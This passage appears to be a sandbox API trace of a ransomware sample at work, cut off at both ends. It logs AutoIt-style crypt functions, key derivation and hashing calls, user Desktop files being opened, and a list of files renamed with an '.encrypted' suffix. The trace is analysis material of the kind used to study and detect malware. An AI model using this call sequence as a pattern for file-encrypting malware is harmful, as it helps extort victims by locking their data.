lpMsg=0xe8f3dfeb20) returned 0 [0022.608] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.609] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.609] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.610] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.610] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.610] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.610] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.610] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=965) returned 1 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.611] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x3c5, lpOverlapped=0x0) returned 1 [0022.611] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x3c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=965) returned 1 [0022.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\n", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0022.611] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\n", cchWideChar=64, lpMultiByteStr=0xe8f4051950, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\n", lpUsedDefaultChar=0x0) returned 64 [0022.611] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4052170*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4052170*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3f, lpOverlapped=0x0) returned 1 [0022.611] CloseHandle (hObject=0x1fc) returned 1 [0022.613] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.613] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.614] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.614] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.614] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.614] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.614] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.615] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.615] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.615] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.615] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.wav", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0022.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.wav", cchWideChar=63, lpMultiByteStr=0xe8f4051ae0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.wav", lpUsedDefaultChar=0x0) returned 63 [0022.617] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.wav" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\o7 bldhx4t31hlq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0022.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=63, lpWideCharStr=0xe8f40685d0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.wav") returned 63 [0022.617] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.618] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.618] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.618] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.618] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.618] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.618] CloseHandle (hObject=0x1fc) returned 1 [0022.619] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.619] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.619] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.619] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.619] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.619] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.620] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.620] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.621] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.621] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.621] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.621] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.621] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.621] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.621] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.621] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.621] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.622] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.622] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.622] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.622] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.623] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.623] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: 